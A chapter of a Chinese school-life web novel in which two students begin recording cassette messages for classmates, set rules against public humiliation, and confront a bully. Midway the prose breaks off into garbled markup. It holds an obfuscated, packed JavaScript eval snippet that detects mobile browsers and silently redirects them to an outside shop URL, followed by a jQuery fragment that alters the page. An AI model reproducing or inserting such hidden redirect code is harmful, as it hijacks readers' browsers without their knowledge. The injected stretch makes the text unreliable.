周念安原本以为，那张纸条只是偶然。
结果第二节课下课，她的练习册里又多了三张纸。
一张写得端端正正：
我想给我爸点《弯弯的月亮》，他夜班回来总说睡不着。能不能录一小段，不用广播。
一张写得歪七扭八：
给高二三班穿绿毛衣的女同学，告诉她昨天汽水钱不是我赖账，是我真没带。
最后一张更离谱，只有一句：
梁潮生欠我两毛辣条钱，帮我广播一下。
周念安看完，沉默了很久。
梁潮生正趴在后排补觉，脸埋在胳膊里，半点没有昨日“修广播英雄”的自觉。阳光从窗户照进来，落在他后颈那一小截皮肤上，照得人看起来很安静。
周念安拿着那三张纸走过去，在他桌上轻轻一敲。
梁潮生没醒。
她又敲了一下。
还是没醒。
周念安把最后那张纸放到他耳边，念：“梁潮生欠我两毛辣条钱——”
梁潮生猛地抬头。
“造谣。”他说。
“你醒得挺准。”
他揉了揉脸，声音还带着困意：“我可以欠汽水钱，不能欠辣条钱。辣条多没面子。”
“重点是这个？”
“钱的事都很重点。”梁潮生抽过纸条看了看，笑了，“谁写的？字这么丑，像潮平左手练的。”
周念安把另外两张也放下。
梁潮生一张张看完，眉梢慢慢挑起来。
“还真有人找我们点歌？”
“是找你。”
“怎么是找我？你也在纸条里。”
“我没有收钱录磁带的打算。”
梁潮生立刻坐直：“谁说要收钱？”
周念安看着他。
他被她看了两秒，改口：“当然，稍微收一点材料费，也不是不可以。”
周念安就知道。
她把纸条收回来：“不许用学校广播。”
“我也没说用。”梁潮生往椅背上一靠，“昨天闹成那样，主任现在看见话筒都想给它上锁。我还没活腻。”
“也不许乱录。”
“什么叫乱录？”
“不能点名羞辱别人，不能造谣，不能替别人告白让对方难堪，不能借机骂老师，不能传闲话。”周念安一条条说，“如果是给家里人、朋友或者同学留话，可以录。但要写清楚给谁，内容大概是什么。”
梁潮生听得直笑。
“周同学，你知道你现在像什么吗？”
“什么？”
“像刚开张就制定厂规的厂长。”
周念安把练习册合上：“那你就是违规操作的小工。”
梁潮生笑得趴回桌上。
前排有人回头看他们。
周念安立刻站直，脸上恢复了平时那副好学生表情。
梁潮生瞥见她变脸，笑意更重。
上午第四节课刚下，事情就传开了。
不知道谁说周念安和梁潮生可以帮人录磁带，于是中午还没到，高三一班窗台上就堆了七八张纸条。有人写得认真，有人写得像诈骗，有人甚至塞了两毛钱和一颗大白兔。
梁潮生捏着那颗大白兔，啧了一声。
“这位同学很有诚意。”
周念安把糖从他手里拿回来，放进信封：“不收东西。”
“人家给的是定金。”
“不收。”
“那收什么？”
“纸条。”
梁潮生看着空空如也的手心，叹气：“周厂长，咱们这买卖照你这么干，早晚倒闭。”
“本来也不是买卖。”
“那是什么？”
周念安停了一下。
她低头看那些纸条。
有的纸上沾了墨水，有的边角被揉得起皱，有的只写了两句话，却改了好几遍。那些不敢当面说的话，就这样被塞进窗台缝里、练习册里、书包口袋里，皱巴巴地凑到他们面前。
她说：“是别人交给我们的声音。”
梁潮生原本还笑着，听见这句，笑慢慢停了。
过了会儿，他把桌上的纸条拢过来，语气轻了一点：“行。那声音也得编号吧？不然丢了算谁的？”
周念安从书包里拿出一本旧作业本。
封皮是蓝色的，边角磨白，里面还有几页没用完的作文草稿。她翻到空白页，在第一行写下四个字：
回声点歌本
梁潮生凑过来看。
“名字挺正经。”
“你有意见？”
“没有。”他说，“就是觉得少了点江湖气。”
“你想叫什么？”
“旧巷第一秘密电台。”
周念安抬头看他。
梁潮生摸了摸鼻子：“行，当我没说。”
周念安在本子上画了几列。
编号，点给谁，内容，是否公开，是否录成磁带，备注。
梁潮生看得头皮发麻：“你平时连作业本都这么管？”
“这样不会乱。”
“人生就是要乱一点才热闹。”
“你的书包已经替你热闹过了。”
梁潮生低头看一眼自己书包。里头半截电线露出来，磁带盒压着物理书，物理书上还夹着一枚螺丝。
他把书包往桌肚里一塞：“它比较自由。”
中午，两人去了红叶照相馆后门。
梁潮生平时替韩师傅修机器，暗房旁边有一小间杂物屋，堆着坏收音机、空相框、旧三脚架和几卷过期相纸。韩师傅嫌他们占地方，嘴上骂骂咧咧，手却把角落一张小桌子擦了出来。
“录可以，别把我照相馆录塌了。”
梁潮生把自己的录音机放桌上：“韩叔，您这屋顶比主任脾气结实。”
“少拿我跟你们主任比。”
韩师傅拎着茶缸走了，走到门口又回头：“要是有人录生日祝福，别整得跟追悼会似的。年轻人说话要有点活气。”
第一张纸条的主人很快来了。
是高三二班的赵卫东。
个子不高，脸圆，平时在操场上跑得最快，一紧张就挠头。他站在杂物屋门口，手里捏着五毛钱，捏得皱巴巴。
“我妈今天生日。”他说，“她在厂食堂打饭，嗓门特别大。我想给她录一句话。”
梁潮生伸手：“稿子。”
赵卫东把纸递过来。
上面写着：
妈，生日快乐。你辛苦了。
八个字。
梁潮生看完，抬头：“没了？”
赵卫东涨红脸：“还要什么？”
“你妈养你这么大，就值八个字？”
赵卫东急了：“不是！我就是……不会说。”
周念安接过纸，看了看，问：“你平时想跟她说什么？”
赵卫东挠头：“让她别老偷着把肉给我，自己吃白菜。她总说不爱吃肉，其实她爱吃红烧肉。”
他说到这里，脸更红了。
“还有，她每天早上四点半去食堂，冬天手都冻裂了。我让她买蛤蜊油，她说浪费钱。”
梁潮生把录音机推过去：“这不挺会说吗？照这个说。”
赵卫东立刻摆手：“不行不行，说不出口。”
“说不出口才录磁带。”梁潮生按下录音键，“来，三、二——”
“等一下！”赵卫东吓得往后退。
周念安把录音键按停。
她看梁潮生：“你别吓他。”
梁潮生无辜：“我很温柔。”
“你像要逼供。”
韩师傅在外头听见，笑得茶水差点呛出来。
最后还是周念安给赵卫东整理了一小段话。
不华丽，也不长。
她写完递过去。
赵卫东捧着纸，低声念了两遍，第三遍终于坐到录音机前。
梁潮生按下键。
磁带开始转。
赵卫东的声音一开始抖得厉害。
“妈，生日快乐。我是卫东。”
他说到这里，停了一下，眼睛有点红。
“你别老说自己不爱吃肉，我知道你爱吃。明天我不吃食堂那块红烧肉了，你自己吃。还有，蛤蜊油不贵，我攒钱给你买，你别嫌浪费。”
杂物屋里安静下来。
周念安垂着眼，没有看他。
梁潮生也没笑。
赵卫东最后说：“妈，你别总说我长不高。我以后肯定还能长。等我长高了，我给你扛煤气罐。”
录完，他自己先不好意思了。
“这句能不能剪掉？”
梁潮生把磁带退出来，往盒子里一放：“不能，精华。”
赵卫东急了：“太丢人了！”
周念安说：“不丢人。”
赵卫东看她。
她把磁带盒贴上标签，写下编号一，又写：给食堂赵姨，生日。
“你妈妈会喜欢。”
赵卫东耳朵红得像刚出锅的虾，丢下五毛钱就跑。
梁潮生捏起那五毛钱。
周念安看他。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697769|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
他立刻把钱放进旧铁盒里：“材料费，绝不乱花。”
“最好是。”
“你不信我？”
“你昨天还欠别人两毛辣条钱。”
“那是谣言。”
两人正说着，外面忽然传来一阵吵闹。
赵卫东刚跑到巷口，就被一个高个男生拦住。那人抢过他手里的磁带盒，笑嘻嘻地举起来：“哟，给谁录的？不会是给哪个姑娘吧？”
赵卫东急得去抢：“还给我！”
对方偏不给，旁边几个男生跟着起哄。
梁潮生脸上的笑立刻没了。
他抬脚往外走。
周念安比他更快。
她走到那群人面前，伸手：“还给他。”
高个男生一看是她，笑得更来劲：“周念安，你也管这个？你和梁潮生现在真开电台了？”
周念安没生气，只看着他：“你叫什么？”
男生愣了一下：“干嘛？”
“登记。”周念安说，“抢别人东西，损坏磁带，影响同学正常生活。我要写给李老师。”
男生脸色变了：“不是，我就开个玩笑。”
“玩笑要别人觉得好笑才算。”
梁潮生靠在门边，听见这句，挑了下眉。
高个男生被她看得发虚，最后把磁带塞回赵卫东手里，嘴里还嘟囔：“不就一盘破磁带。”
赵卫东抱着磁带，眼眶还红着。
梁潮生忽然开口：“下回再抢，我给你录一盘《高三某某同学欠揍纪实》，全巷传阅。”
男生跑得飞快。
赵卫东小声说：“谢谢。”
周念安说：“磁带是你的，不用给别人看。”
赵卫东点点头，跑了。
梁潮生看着他背影：“周厂长，第一条规矩又来了。”
周念安回到桌边，在点歌本第一页写下：
未经本人同意，任何录音不得公开。
梁潮生凑过去：“这条好。”
“你记住。”
“我这么守规矩的人——”
周念安抬眼。
梁潮生把后半句咽回去：“行，我努力。”
傍晚放学前，赵卫东的妈妈来过一趟红叶照相馆。
她是个胖乎乎的女人，围裙上还沾着食堂油烟味。她没有进门，只站在门口，眼睛红红地问：“哪个是梁潮生？哪个是周念安？”
梁潮生以为出了事，刚想上前，赵姨从兜里掏出两个还热着的茶叶蛋。
“我家那小子说，是你们帮他录的。”她把茶叶蛋往两人手里一塞，“拿着，别嫌。”
周念安想拒绝。
赵姨已经转身走了，走出几步又回头，骂了一句：“这傻小子，还说以后给我扛煤气罐。他那小身板，先把自己长明白再说。”
她嘴上骂，眼睛却红得更厉害。
梁潮生捧着茶叶蛋，轻轻笑了一声。
“周念安。”
“嗯？”
“这买卖好像能干。”
周念安把茶叶蛋放进书包侧袋，纠正他：“不是买卖。”
梁潮生看着她，没再反驳。
夕阳落在红叶照相馆的橱窗上，玻璃里映出两人的影子。一个站得笔直，一个歪歪靠着门框，中间隔着一张旧桌子，一台录音机，一本蓝封皮作业本。
那本子摊在桌上。
第一页，周念安写的字清秀端正。
回声点歌本。
梁潮生想了想，在下面又添了一行小字。
五毛钱一首，熟人不赊。
周念安看见后，沉默三秒。
然后拿起笔，把后半句划掉。
梁潮生立刻抗议：“你怎么改我稿？”
“你的稿不合格。”
“那前半句呢？”
周念安低头看着“五毛钱一首”几个字。
过了会儿，她没有划。
梁潮生眼睛亮了：“这算通过？”
“材料费。”她说。
“懂，周厂长。”
窗外有人骑车经过，车铃叮铃一响。
旧巷里的傍晚热闹起来，锅铲声、叫卖声、小孩追打声，从一家家窗口里漏出来。昨天那些沉甸甸的磁带和旧照好像暂时退到了远处。
可就在两人准备收拾东西时，点歌本里忽然掉出一张新纸条。
不知道什么时候被人夹进去的。
纸条上没有署名。
只有一句话：
我想点一首歌，给两年前没能离开的孟小舟。